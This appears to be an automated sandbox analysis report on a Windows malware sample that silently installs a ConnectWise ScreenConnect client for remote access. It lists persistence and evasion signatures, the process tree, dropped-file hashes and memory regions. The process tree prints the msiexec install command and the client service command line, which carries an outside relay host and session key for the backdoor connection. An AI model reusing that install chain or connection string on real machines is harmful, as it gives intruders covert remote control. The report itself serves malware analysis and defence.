Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    28/05/2026, 02:57

General

  • Target
    2026-05-28_b5db315cc38ff93e31dcd023b18bdabe_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
  • Size 16.4MB
  • Sample260528-dfxvbaf13y
  • SHA256 8dadcb8b68524aaeb9d657344e5ab3883db01c67c60e14a051746e592548b400
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 42 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-28_b5db315cc38ff93e31dcd023b18bdabe_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-28_b5db315cc38ff93e31dcd023b18bdabe_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3676
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.1.24.9579\81e87d955defa4e6\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\2026-05-28_b5db315cc38ff93e31dcd023b18bdabe_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4392
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E0B315C68FBB03EAC78B708C1A5CC002 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3492
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB253.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240693937 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3696
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB4C5.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240694484 10 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
        3⤵
        • Badlisted process makes network request
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1504
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB8DD.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240695546 17 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3764
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2416
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D287923EB1A44E92F7998DCA9F9DD3FD
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2340
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 19DA45061D4155CB3ACEBD7C79FB1847 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4616
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:244
    • C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-tcvo0l-relay.screenconnect.com&p=443&s=64a5b136-ceda-45e7-911f-186b4b2c2585&k=BgIAAACkAABSU0ExAAgAAAEAAQBzWGbE0onLYQrLn8fqa0JNxQLQxNuetLjnvgw%2b63jQ6tXppUP7HevTttorXYHWw0Jxx5Sckm2mtaPTXh1ZaFsgbaRLYSlLGR2dZzNG8C92dfvrX%2fsu%2bTeBvLjywZaRledgnI%2fVHiewGVLP5Kxg%2fzcVYf0Nul2I8koJ0bYKRdf9gAspSVUZtaJf2JmyrdKfSWi6WoNnOp5Y41CuhTNRf%2b2AhKKNdnZe40K5CSJ%2bzrostK2sn2%2fm6Ozf5j3Kv6zx4psbKnVMyQRHyQmBQny3OMiDunu5g0zp%2bIGCpGuXyUk5AAAEh%2btJ%2b2zQelUH67rvk7jeEOmwIdBKmR15J4ml%2bOOh"
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4112
      • C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.WindowsClient.exe" "RunRole" "2fac80a1-4831-4826-9f0a-af7cbb4a6ab4" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4532
      • C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.WindowsClient.exe" "RunRole" "16e18f06-b525-4c79-b7c1-de1f91024df3" "System"
        2⤵
        • Drops file in System32 directory
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4420

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e58e693.rbs

          • Path C:\Config.Msi\e58e693.rbs
          • Size 214KB
          • SHA256 2b4108bf3fd9942d107f39ddc7ad7436ddc23e6c3a1371c41332d5da3ead30d8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\Client.Override.en-US.resources
          • Size 512B
          • SHA256 5564543c3b1bf78b43db09794e1511a7adb0dd8bfcc4eb548d93f73f18df12f3
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\Client.en-US.resources
          • Size 64KB
          • SHA256 efdb0b4fcc38b52cbf72336bd107a814db8454003f3495de21e2026a148823ea
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.Client.dll
          • Size 411KB
          • SHA256 28ff8468ad2db8b41fe9d9a2971dd56fea0aecad14808fe4b31c9b1072d3b129
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.ClientService.dll
          • Size 90KB
          • SHA256 9cf2c77df0a1a1e854ec1bbc6940d96f508bfb4b0555a07657c77314803a717e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 01341bd42426c3d110136cc94433df00dbad690a56593f7cca41a93f698f214a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.Core.dll
          • Size 572KB
          • SHA256 92e831159d5e9f2676241ab7ce80060a0b1dc34684f83797aec93b3ecff41139
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 2292aac48ad575c6d1ed99c862e3408e254db34b8fea50cf3594aa08f3e875d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 3fa1fe4a588015cc94eceb06867f16a5e562293139fbf6b36bde21dba478968d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (81e87d955defa4e6)\system.config
          • Size 968B
          • SHA256 330a1e294fc1b040716e76d7a9ea63e156abdcae9eff541ebfbf7e8242b499c8
          • MD5 SHA1 SHA512 TLSH

          8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111
          • Size 727B
          • SHA256 d8a8879eadd0af90d1f747e4942c50ceb0b97d2769fbc66e30fce17409fc9319
          • MD5 SHA1 SHA512 TLSH

          C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
          • Size 727B
          • SHA256 4bcf3af817f5ff6dc96018966cb4463c02906de4eeb8b90a23f656224b4b2e1c
          • MD5 SHA1 SHA512 TLSH

          8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111
          • Size 404B
          • SHA256 d6683adadb6f59b45292b8cd669633657354bb7a6a11313758a20ac993415146
          • MD5 SHA1 SHA512 TLSH

          C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

          • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
          • Size 412B
          • SHA256 f87d5f86e2874c9da6e3f02bd371e0260669889aea9b906d3a890dcf1a6b03b0
          • MD5 SHA1 SHA512 TLSH

          rundll32.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log
          • Size 746B
          • SHA256 76ced2c52d647683572ceac0687933e96e198b5a6f998457fa334763cc1ef978
          • MD5 SHA1 SHA512 TLSH

          MSIB253.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB253.tmp
          • Size 1.1MB
          • SHA256 cd6bccce073b2a5205840ec31c91df0d443cc57c68756de2c03e21db8e3fc157
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB253.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB253.tmp-\ScreenConnect.Core.dll
          • Size 562KB
          • SHA256 c51a2b5cb5054ec0136e332bf290c8af3392d7936b5137a07423df08ab33d264
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB253.tmp-\ScreenConnect.InstallerActions.dll
          • Size 24KB
          • SHA256 432abf3a198ff64fb2c660eb06b2bb33a16cf69fd28d836cfcb65c43d37dc462
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB253.tmp-\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 10933424536d53e397f651915f862c933199c50722943c236b020787b2e8f147
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CustomAction.config

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB4C5.tmp-\CustomAction.config
          • Size 234B
          • SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB4C5.tmp-\ScreenConnect.WindowsInstaller.dll
          • Size 137KB
          • SHA256 528242c7745783b3b4ae72fec13bb9bd49b17b0e00f60c027351147f21fdd359
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.1.24.9579\81e87d955defa4e6\ScreenConnect.ClientSetup.msi
          • Size 13.9MB
          • SHA256 3444fed87b39fa5b3c7050375e3d7c0aaff30df3754410227cf96d15d143c1cd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIE7FB.tmp

          • Path C:\Windows\Installer\MSIE7FB.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1504-89-0x00000000053F0000-0x0000000005418000-memory.dmp

          memory/3676-6-0x0000000006150000-0x0000000006178000-memory.dmp

          memory/3676-2-0x0000000003AE0000-0x0000000003AF0000-memory.dmp

          memory/3676-1-0x0000000003AA0000-0x0000000003AA8000-memory.dmp

          memory/3676-0-0x0000000003AE0000-0x0000000003AF0000-memory.dmp

          memory/3676-11-0x0000000003AE0000-0x0000000003AF0000-memory.dmp

          memory/3676-3-0x0000000003AE0000-0x0000000003AF0000-memory.dmp

          memory/3676-12-0x0000000003AE0000-0x0000000003AF0000-memory.dmp

          memory/3676-10-0x0000000003AE0000-0x0000000003AF0000-memory.dmp

          memory/3676-4-0x0000000003AC0000-0x0000000003ACC000-memory.dmp

          memory/3676-9-0x0000000006440000-0x00000000064D2000-memory.dmp

          memory/3676-5-0x00000000060C0000-0x0000000006154000-memory.dmp

          memory/3676-8-0x00000000068F0000-0x0000000006E96000-memory.dmp

          memory/3676-7-0x0000000006180000-0x0000000006330000-memory.dmp

          memory/3696-49-0x0000000005280000-0x000000000528C000-memory.dmp

          memory/3696-53-0x00000000053A0000-0x0000000005434000-memory.dmp

          memory/3696-45-0x0000000005290000-0x00000000052BE000-memory.dmp

          memory/3696-57-0x00000000055F0000-0x00000000057A0000-memory.dmp

          memory/4112-199-0x0000000003B80000-0x0000000003BEA000-memory.dmp

          memory/4112-195-0x00000000038B0000-0x0000000003900000-memory.dmp

          memory/4112-172-0x0000000001160000-0x000000000117A000-memory.dmp

          memory/4112-182-0x00000000039D0000-0x0000000003B80000-memory.dmp

          memory/4112-201-0x0000000003900000-0x0000000003941000-memory.dmp

          memory/4112-178-0x0000000003780000-0x0000000003814000-memory.dmp

          memory/4112-203-0x0000000003DE0000-0x0000000003EB5000-memory.dmp

          memory/4532-207-0x0000000000E00000-0x0000000000EAA000-memory.dmp

          memory/4532-208-0x000000001D000000-0x000000001D06A000-memory.dmp

          memory/4532-209-0x000000001D4A0000-0x000000001D534000-memory.dmp

          memory/4532-212-0x000000001D6F0000-0x000000001D8A0000-memory.dmp

          memory/4532-213-0x000000001EAE0000-0x000000001EC68000-memory.dmp

          memory/4532-214-0x0000000002F80000-0x0000000002F9A000-memory.dmp

          memory/4532-215-0x000000001CFB0000-0x000000001CFCA000-memory.dmp